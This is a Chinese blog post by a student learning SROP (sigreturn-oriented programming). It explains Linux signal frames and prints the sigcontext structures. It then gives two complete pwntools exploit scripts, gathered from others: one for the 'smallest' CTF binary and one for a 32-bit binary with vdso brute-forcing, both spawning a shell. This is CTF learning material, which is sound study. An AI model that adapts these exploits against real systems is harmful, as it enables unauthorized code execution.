记一次SROP的学习

攻击背景

存在栈溢出,未开启canary
需要知道相应的地址

"/bin/sh"
Signal Frame
syscall
sigreturn

攻击原理

SROP(Sigreturn Oriented Programming),也是一种ROP手段,不过它不同于以往要寻找大量、gadgets对寄存器赋值,控制变量,它大大减少了我们寻找gadgets的难度。

SIGNAL机制

在liunx中,系统被分为用户态和内核态,通常情况下二者相互隔离,而signal是类unix系统中进程之间相互传递信息的一种方法。其步骤如图:
c2 _1_.png
1.内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
2.内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
c6.png
3.signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
贴一下sigcontext
X86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

X64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

因为Signal Frame保存在用户的地址空间中,所以用户是可以读写的;利用rt_sigreturn恢复ucontext_t的机制,我们可以构造一个假的ucontext_t,这样我们就能控制所有的寄存器

利用手法

读取三个程序起始地址
程序返回时,利用第一个程序起始地址读取地址,修改返回地址 (即第二个程序起始地址) 为源程序的第二条指令,并且会设置 rax=1
那么此时将会执行 write(1,$esp,0x400),泄露栈地址。
利用第三个程序起始地址进而读入 payload
再次读取构造 sigreturn 调用,进而将向栈地址所在位置读入数据,构造 execve('/bin/sh',0,0)
再次读取构造 sigreturn 调用,从而获取 shell。

这里学习一下大佬们对360春秋杯的一道题的理解,因为没找到源码,所以,只能观摩一下大佬的思路
程序只有几行汇编

1
2
3
4
5
6
7
8
9
public start
start proc near
xor rax, rax
mov edx, 400h
mov rsi, rsp
mov rdi, rax
syscall
retn
start endp

但是存在syscall
然后,只开启了NX,而且是静态编译

1
2
3
4
5
6
➜  smallest checksec smallest
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

对,这里提一下,这道题没有 sigreturn 调用,所以我们得自己构造,正好这里有 read 函数调用,所以我们可以通过 read 函数读取的字节数来设置 rax 的值。而在32位程序中,我们可以通过爆破vdso来获得,据大佬说vdso的地址可以很容易爆破得到。因为即使对开了ASLR的linux来说,其地址也只有一个字节是随机的。
OK,贴一下smallest-pwn的exp(整理于网上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#coding:utf-8
from pwn import *
import time
context.log_level = 'debug'
context.arch = "amd64"
exe = './smallest'
s = process(exe)

main_addr = 0x4000b0
syscall_addr = 0x4000be
write_payload = p64(main_addr) + p64(main_addr) + p64(main_addr)
#三次main_addr是为了后面构造三次跳转
s.send(write_payload)

s.send("\xb3") # set rax=1 执行write函数,同时返回地址改写为0x4000b3。 跳过 xor %rax,%rax 使rax保持为1

stack_addr = u64(s.recv()[8:16])#接收到的第8个字节开始才是我们所需要的栈地址
print "stack:"+hex(stack_addr)


frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_read
frame.rdi = 0x0
frame.rsi = stack_addr
frame.rdx = 0x400
frame.rsp = stack_addr
frame.rip = syscall_addr
# frame代表read(0,stack_addr,0x400)

# 现将Payload写到栈上
read_frame_payload = p64(main_addr) + p64(0) + str(frame)
s.send(read_frame_payload)

# 通过控制输入的字符数量,调用sigreturn
goto_sigreturn_payload = p64(syscall_addr) + "\x00"*(15 - 8)
# sigreturn syscall is 15
s.send(goto_sigreturn_payload)


frame = SigreturnFrame(kernel="amd64")
frame.rax = constants.SYS_execve
frame.rdi = stack_addr+0x150 # "/bin/sh" 's addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_addr

execv_frame_payload = p64(main_addr) + p64(0) + str(frame)
execv_frame_payload_all = execv_frame_payload + (0x150 - len(execv_frame_payload))*"\x00" + "/bin/sh\x00"
s.send(execv_frame_payload_all)

s.send(goto_sigreturn_payload)

s.interactive()

下面是一个大佬对32位程序的SROP利用
而且还带32位的源码
这里贴下大佬的exp学习下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
rom pwn import *
import random
binsh_addr = 0x804a024
bss_addr = 0x804a02e
vdso_range = range(0xf7700000, 0xf7800000, 0x1000)
def main():
global p
debug = 1
if debug:
#context.level_log = "debug"
context.arch = "i386"
p = process('./srop_test')
else:
pass

global vdso_addr
vdso_addr = random.choice(vdso_range)
payload = 'a' * 0x10c
frame = SigreturnFrame(kernel = "i386")
frame.eax = 0xb
frame.ebx = binsh_addr
frame.ecx = 0
frame.edx = 0
frame.eip = vdso_addr + 0x416 #address of int 80h
frame.esp = bss_addr
frame.ebp = bss_addr
frame.gs = 0x63
frame.cs = 0x23
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b

ret_addr = vdso_addr + 0x411 #address of sigreturn syscall

#print payload

payload += p32(ret_addr) + str(frame)
p.recvuntil("input something you want: n")
p.sendline(payload)
sleep(1)
p.sendline("echo pwned!")
r = p.recvuntil("pwned!")
if r != "pwned!":
raise Exception("Failed!")
return

if __name__ == "__main__":
global p, vdso_addr
i = 1
while True:
print "nTry %d" % i
try:
main()
except Exception as e:
#print e
p.close()
i += 1
continue
print "vdso_addr: " + hex(vdso_addr)
p.interactive()
break

最后记一下vsdo是什么?
传统的int 0x80有点慢, Intel和AMD分别实现了sysenter/sysexit和syscall/ sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中。

  • 版权声明: 本博客所有文章除特别声明外,均采用 Apache License 2.0 许可协议。转载请注明出处!
  • © 2020 丰年de博客

请我喝杯咖啡吧~

支付宝
微信